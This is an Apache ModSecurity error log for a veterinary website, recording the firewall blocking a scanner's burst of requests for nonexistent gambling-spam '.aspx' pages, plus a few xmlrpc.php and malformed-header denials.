[Thu Apr 02 13:16:59.784389 2026] [:error] [pid 23927:tid 23945] [client 4.213.99.137:1259] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "ac37y0sZwqCndhl9uKAF4wAAAZA"]
[Thu Apr 02 13:17:00.176000 2026] [:error] [pid 59201:tid 59275] [client 4.213.99.137:2031] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "ac37zMAC0Tw8eL6gzZ7LRQAAAIg"]
[Thu Apr 02 13:17:00.649863 2026] [:error] [pid 23927:tid 23938] [client 4.213.99.137:2018] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "ac37zEsZwqCndhl9uKAF7AAAAYk"]
[Thu Apr 02 13:25:20.244940 2026] [:error] [pid 23927:tid 23937] [client 74.7.242.138:39574] [client 74.7.242.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac39wEsZwqCndhl9uKAM-wAAAYg"], referer: https://vetstars.com.au/
[Thu Apr 02 17:13:39.617375 2026] [:error] [pid 59305:tid 59322] [client 180.110.203.108:46040] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac4zQ6r2tV4rDwKFxKcunAAAAM0"]
[Thu Apr 02 17:39:38.627279 2026] [:error] [pid 54384:tid 54399] [client 43.156.228.27:37182] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac45WtWWpaby3TVN7MfelwAAAc0"]
[Thu Apr 02 18:41:35.983691 2026] [:error] [pid 59305:tid 59310] [client 163.47.70.171:5746] [client 163.47.70.171] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.59_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/google-fonts/css/nunito.css"] [unique_id "ac5H3Kr2tV4rDwKFxKdbLAAAAME"], referer: https://vetstars.com.au/
[Thu Apr 02 19:32:30.778180 2026] [:error] [pid 37543:tid 37549] [client 147.135.212.200:46298] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ac5Tznhdk2bEYJCvILbWRgAAAUQ"]
[Thu Apr 02 19:32:33.504045 2026] [:error] [pid 54384:tid 54392] [client 147.135.212.200:52544] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ac5T0dWWpaby3TVN7McIXAAAAcY"]
[Thu Apr 02 19:32:36.277244 2026] [:error] [pid 37543:tid 37546] [client 147.135.212.200:52552] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ac5T1Hhdk2bEYJCvILbWTQAAAUE"]
[Thu Apr 02 19:32:39.075994 2026] [:error] [pid 59201:tid 59285] [client 147.135.212.200:53284] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ac5T18AC0Tw8eL6gzZ4WWQAAAJI"]
[Thu Apr 02 19:32:42.170370 2026] [:error] [pid 59305:tid 59327] [client 147.135.212.200:53298] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ac5T2qr2tV4rDwKFxKd88QAAANI"]
[Thu Apr 02 19:32:45.018647 2026] [:error] [pid 59305:tid 59316] [client 147.135.212.200:53302] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ac5T3ar2tV4rDwKFxKd89AAAAMc"]
[Thu Apr 02 19:32:47.669496 2026] [:error] [pid 54384:tid 54398] [client 147.135.212.200:57270] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ac5T39WWpaby3TVN7McIcwAAAcw"]
[Thu Apr 02 19:32:50.194775 2026] [:error] [pid 29467:tid 29489] [client 147.135.212.200:57278] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ac5T4r4VUBFCJAq-WOlttAAAARM"]
[Thu Apr 02 19:32:52.724271 2026] [:error] [pid 37543:tid 37548] [client 147.135.212.200:57292] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ac5T5Hhdk2bEYJCvILbWYQAAAUM"]
[Thu Apr 02 19:32:55.547688 2026] [:error] [pid 23927:tid 23942] [client 147.135.212.200:57308] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ac5T50sZwqCndhl9uKClmAAAAY0"]
[Thu Apr 02 19:32:58.249310 2026] [:error] [pid 59200:tid 59263] [client 147.135.212.200:55382] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ac5T6rfP26txrdLs3Epv3QAAAFc"]
[Thu Apr 02 19:33:00.772809 2026] [:error] [pid 29467:tid 29478] [client 147.135.212.200:55392] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ac5T7L4VUBFCJAq-WOlt5AAAAQg"]
[Thu Apr 02 19:33:03.322563 2026] [:error] [pid 59200:tid 59259] [client 147.135.212.200:55406] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ac5T77fP26txrdLs3Epv4AAAAFM"]
[Thu Apr 02 19:33:05.799627 2026] [:error] [pid 59305:tid 59332] [client 147.135.212.200:55418] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ac5T8ar2tV4rDwKFxKd8_gAAANc"]
[Thu Apr 02 19:33:08.169306 2026] [:error] [pid 23927:tid 23936] [client 147.135.212.200:59700] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ac5T9EsZwqCndhl9uKClsQAAAYc"]
[Thu Apr 02 19:33:10.598898 2026] [:error] [pid 54384:tid 54402] [client 147.135.212.200:59710] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ac5T9tWWpaby3TVN7McIgAAAAdA"]
[Thu Apr 02 19:33:13.196515 2026] [:error] [pid 59305:tid 59331] [client 147.135.212.200:59726] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ac5T-ar2tV4rDwKFxKd9EwAAANY"]
[Thu Apr 02 19:33:15.624533 2026] [:error] [pid 29467:tid 29479] [client 147.135.212.200:59728] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ac5T-74VUBFCJAq-WOluCwAAAQk"]
[Thu Apr 02 19:33:18.032920 2026] [:error] [pid 59305:tid 59310] [client 147.135.212.200:49830] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ac5T_qr2tV4rDwKFxKd9JQAAAME"]
[Thu Apr 02 19:33:20.474292 2026] [:error] [pid 23927:tid 23947] [client 147.135.212.200:49846] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ac5UAEsZwqCndhl9uKClyQAAAZI"]
[Thu Apr 02 19:33:22.896502 2026] [:error] [pid 59200:tid 59246] [client 147.135.212.200:49850] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ac5UArfP26txrdLs3Epv5wAAAEY"]
[Thu Apr 02 19:33:25.399503 2026] [:error] [pid 29467:tid 29473] [client 147.135.212.200:49860] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ac5UBb4VUBFCJAq-WOluIgAAAQM"]
[Thu Apr 02 19:34:07.707902 2026] [:error] [pid 59305:tid 59330] [client 147.135.212.200:41102] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ac5UL6r2tV4rDwKFxKd9rgAAANU"]
[Thu Apr 02 19:34:10.213578 2026] [:error] [pid 29467:tid 29492] [client 147.135.212.200:46732] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ac5UMr4VUBFCJAq-WOluXQAAARY"]
[Thu Apr 02 19:34:12.632978 2026] [:error] [pid 23927:tid 23945] [client 147.135.212.200:46734] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ac5UNEsZwqCndhl9uKCmFgAAAZA"]
[Thu Apr 02 19:34:15.046321 2026] [:error] [pid 59305:tid 59312] [client 147.135.212.200:46738] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ac5UN6r2tV4rDwKFxKd9ugAAAMM"]
[Thu Apr 02 19:34:17.475187 2026] [:error] [pid 59305:tid 59318] [client 147.135.212.200:44284] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ac5UOar2tV4rDwKFxKd9xgAAAMk"]
[Thu Apr 02 19:34:19.869904 2026] [:error] [pid 29467:tid 29492] [client 147.135.212.200:44296] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ac5UO74VUBFCJAq-WOlukwAAARY"]
[Thu Apr 02 19:34:22.311822 2026] [:error] [pid 59305:tid 59318] [client 147.135.212.200:44310] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ac5UPqr2tV4rDwKFxKd90gAAAMk"]
[Thu Apr 02 19:34:24.693625 2026] [:error] [pid 29467:tid 29486] [client 147.135.212.200:44320] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ac5UQL4VUBFCJAq-WOlumQAAARA"]
[Thu Apr 02 19:34:27.104447 2026] [:error] [pid 29467:tid 29489] [client 147.135.212.200:60812] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ac5UQ74VUBFCJAq-WOluogAAARM"]
[Thu Apr 02 19:34:29.538566 2026] [:error] [pid 59305:tid 59314] [client 147.135.212.200:60828] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ac5URar2tV4rDwKFxKd94AAAAMU"]
[Thu Apr 02 19:34:31.964088 2026] [:error] [pid 59200:tid 59247] [client 147.135.212.200:60836] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ac5UR7fP26txrdLs3EpwBAAAAEc"]
[Thu Apr 02 19:34:34.395396 2026] [:error] [pid 59200:tid 59246] [client 147.135.212.200:60844] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ac5USrfP26txrdLs3EpwCQAAAEY"]
[Thu Apr 02 19:34:36.832370 2026] [:error] [pid 54384:tid 54390] [client 147.135.212.200:41470] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ac5UTNWWpaby3TVN7McI4wAAAcQ"]
[Thu Apr 02 19:34:39.362006 2026] [:error] [pid 23927:tid 23945] [client 147.135.212.200:41474] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ac5UT0sZwqCndhl9uKCmLwAAAZA"]
[Thu Apr 02 19:34:41.760095 2026] [:error] [pid 29467:tid 29475] [client 147.135.212.200:41490] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ac5UUb4VUBFCJAq-WOluvwAAAQU"]
[Thu Apr 02 19:34:44.179166 2026] [:error] [pid 37543:tid 37568] [client 147.135.212.200:41498] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ac5UVHhdk2bEYJCvILbWnwAAAVc"]
[Thu Apr 02 19:34:46.413074 2026] [:error] [pid 59305:tid 59311] [client 147.135.212.200:41512] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ac5UVqr2tV4rDwKFxKd98QAAAMI"]
[Thu Apr 02 19:34:48.834516 2026] [:error] [pid 59305:tid 59309] [client 147.135.212.200:36848] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ac5UWKr2tV4rDwKFxKd99QAAAMA"]
[Thu Apr 02 19:34:51.245879 2026] [:error] [pid 59194:tid 59223] [client 147.135.212.200:36864] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ac5UWxMpAeV11hcQehxBQQAAAAo"]
[Thu Apr 02 19:34:53.627803 2026] [:error] [pid 54384:tid 54401] [client 147.135.212.200:36870] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ac5UXdWWpaby3TVN7McI8AAAAc8"]
[Thu Apr 02 19:34:56.181605 2026] [:error] [pid 59194:tid 59217] [client 147.135.212.200:36882] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ac5UYBMpAeV11hcQehxBRAAAAAQ"]
[Thu Apr 02 19:34:58.710906 2026] [:error] [pid 59194:tid 59232] [client 147.135.212.200:55458] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac5UYhMpAeV11hcQehxBSwAAABM"]
[Thu Apr 02 19:35:01.228582 2026] [:error] [pid 37543:tid 37564] [client 147.135.212.200:55460] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ac5UZXhdk2bEYJCvILbWxAAAAVM"]
[Thu Apr 02 19:35:03.602343 2026] [:error] [pid 29467:tid 29484] [client 147.135.212.200:55468] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac5UZ74VUBFCJAq-WOlu8QAAAQ4"]
[Thu Apr 02 19:35:45.111283 2026] [:error] [pid 37543:tid 37562] [client 147.135.212.200:55478] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ac5UkXhdk2bEYJCvILbXHwAAAVE"]
